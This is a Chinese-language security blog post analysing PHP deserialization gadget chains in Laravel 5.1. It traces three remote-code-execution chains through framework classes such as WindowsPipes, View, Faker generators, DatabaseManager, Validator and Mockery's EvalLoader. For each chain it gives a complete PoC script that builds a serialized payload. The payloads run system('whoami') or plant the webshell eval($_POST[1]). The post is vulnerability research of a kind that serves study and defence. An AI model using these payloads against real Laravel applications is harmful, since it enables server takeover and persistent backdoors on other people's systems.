laravel5.1反序列化漏洞分析

最近在复现php反序列化漏洞,顺手挖了几条链子,希望师傅们多多点评,

0x00 准备

使用composer拉一个laravel5.1的环境
composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"
配置路由 控制等不在叙述

0x01 RCE1

先搜索__destruct方法
WindowsPipes类中__destruct方法可任意删除文件

Pasted image 20220507090840.png

这里调用到了$this->removeFiles()跟进查看

Pasted image 20220507090919.png

遍历了$this->files判断文件是否存在,然后删除文件。这里调用__toString
全局搜索__toString
View类中__toString方法调用了$this->render()

Pasted image 20220507092644.png

跟进这个函数看看

Pasted image 20220507092712.png

发现调用了$this->renderContent()
跟进看看

Pasted image 20220507092746.png

这里调用了$this->factory->incrementRender()可以调用任意类的__call方法
全局搜索__call方法
ValidGenerator类中__call方法需要控制参数达到RCE的目的

Pasted image 20220507093012.png

$this->vaildator可控,接下来我们只需要控制$res即可
$res = call_user_func_array(array($this->generator, $name), $arguments);
调用方式为任意类的函数方法,$this->generator可控,所以就代表了可以调用任意类的__call方法,我们只需要找到一个__call方法返回任何值即可。
DefaultGenerator类中__call方法可以返回任意值,

Pasted image 20220507093336.png

接下来构造poc

<?php
namespace Faker;
class DefaultGenerator{
    protected $default;
    public function __construct(){
        $this->default='whoami';
    }
}

namespace Faker;
class ValidGenerator{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    public function __construct(){
        $this->maxRetries=1;
        $this->validator='system';
        $this->generator=new DefaultGenerator;
    }

}
namespace Illuminate\View;
use Faker\ValidGenerator;
class View{
    protected $factory;
    public function __construct(){
        $this->factory=new ValidGenerator;
    }
}

namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes{
    private $files = array();
    public function __construct(){
        $this->files = array(new View());
    }
}
echo urlencode(serialize(new WindowsPipes()));
?>

成功RCE
Pasted image 20220507094734.png

0x02 RCE2

继续从__call方法寻找
全局搜索__calll
DatabaseManager类中调用了$this->connection()

Pasted image 20220507102553.png

跟进$this->connecttion()

Pasted image 20220507102635.png

通过$this->parseConnectionName($name)$name赋值,跟进

Pasted image 20220507112257.png

通过$this->getDefaultConnection()$name赋值,跟进
直接返回了$this->app['config']['database.default'];

Pasted image 20220507114947.png

最后返回,

Pasted image 20220507112353.png

跟进endsWitch

Pasted image 20220507115414.png

传入的$name并不在传入的['::read','::write']中所以返回false
最终返回了[$name,null] $name最终被传入的$this->app['config']['database.default']赋值
$this->connections[$name]不存在,执行$this->makeConnection($name)方法,跟进

Pasted image 20220507102807.png

发现call_user_func方法控制参数可达到RCE的目的,
第二个参数$config,跟进$this->getConfig()看看返回值是什么

Pasted image 20220507103102.png

通过app['config']['database.connections']赋值给$connections然后通过Arr::get($connections, $name)赋值给$config
跟进Arr::get

Pasted image 20220507110801.png

传入的$keywhoami,所以直接返回了system
相当于$config=$this->app['config']['database.connections']['whoami']
第一个参数$this->extensions[name]赋值call_user_func

<?php
namespace Illuminate\Database;
class DatabaseManager{
    protected $extensions = array();
    protected $app=array();
    public function __construct(){
        $this->extensions['whoami']='call_user_func';
        $this->app['config']['database.connections']=['whoami'=>'system'];
        $this->app['config']['database.default'] = 'whoami';
    }
}

namespace Illuminate\View;
use Illuminate\Database\DatabaseManager;
class View{
    protected $factory;
    public function __construct(){
        $this->factory=new DatabaseManager;
    }
}

namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes{
    private $files = array();
    public function __construct(){
        $this->files = array(new View());
    }
}
echo urlencode(serialize(new WindowsPipes()));
?>

成功RCE

Pasted image 20220507114759.png

0x03 RCE3

继续从__call方法寻找
全局搜索__call
Validator类中__call方法中满足$this->extensions[$rule]存在则调用$this->callExtension方法

Pasted image 20220507152556.png

跟进看一下

Pasted image 20220507152631.png

满足$callback是字符串则调用$this->callClassBasedExtension(),继续跟进$this->callClassBasedExtension()

Pasted image 20220507152707.png

这里
call_user_func_array([$this->container->make($class), $method], $parameters);
只要控制$this->container->make($class)的返回值,就可以调用任意类的任意方法。
全局搜索一下危险函数,如evalsystemcall_user_funcshell_exec
运气比较好搜了一下eval便出了
EvalLoader类中存在load方法满足class_exists($definition->getClassName(),false)===false则调用了eval函数

Pasted image 20220507171534.png

跟进一下$definition->getCode()看一下参数是否可控

Pasted image 20220507171617.png

直接返回了$this->code参数便可控,
调用load函数中,发现需要传参MockDefinition $definition,上面调用__call这一步就没有办法用了,因为没有传参。所以无法控制$parameters。所以这里换到了ObjectStateToken类中的__toString函数可以控制传参。

Pasted image 20220507175526.png

成功调用到了EvalLoader类中的load函数

Pasted image 20220507175855.png

看一下class_exists的定义

Pasted image 20220507180106.png

$definition->getClassName()返回一个没有定义的类即可。跟进查看

Pasted image 20220507180217.png

返回了$this->config->getName()让他去调用__call方法返回一个任意值即可。
这里还利用DefaultGenerator类中的__call方法返回任意值,
接下来控制$definition->getCode(),跟进查看一下

Pasted image 20220507190749.png

直接返回了$this->code直接赋值即可。
构造poc

<?php
namespace Mockery\Loader;
class EvalLoader{}

namespace Faker;
use Mockery\Loader\EvalLoader;
class DefaultGenerator{
    public $default;
    public function __construct(){
        $this->default=new EvalLoader;
    }
}
namespace Illuminate\Validation;
use Faker\DefaultGenerator;
class Validator{
    protected $extensions = [];
    protected $container;
    public function __construct(){
        $this->extensions['y']='huahua@load';
        $this->container=new DefaultGenerator;
    } 
}

namespace Mockery\Generator;
use Faker\DefaultGenerator;
class MockDefinition{
    protected $config;
    public function __construct(){
        $this->config=new DefaultGenerator;
        $this->config->default='huahua';
        $this->code='<?php eval($_POST[1]);';
    }
}

namespace Prophecy\Argument\Token;
use Illuminate\Validation\Validator;
use Mockery\Generator\MockDefinition;
class ObjectStateToken{
    private $util;
    private $value;
    public function __construct(){
        $this->util=new Validator;
        $this->value=new MockDefinition;
    }
}

namespace Symfony\Component\Process\Pipes;
use Prophecy\Argument\Token\ObjectStateToken;
class WindowsPipes{
    private $files = array();
    public function __construct(){
        $this->files = array(new ObjectStateToken());
    }
}
echo urlencode(serialize(new WindowsPipes()));
?>
  • 发表于 2022-05-17 09:58:27
  • 阅读 ( 6426 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
花北城
花北城

5 篇文章

站长统计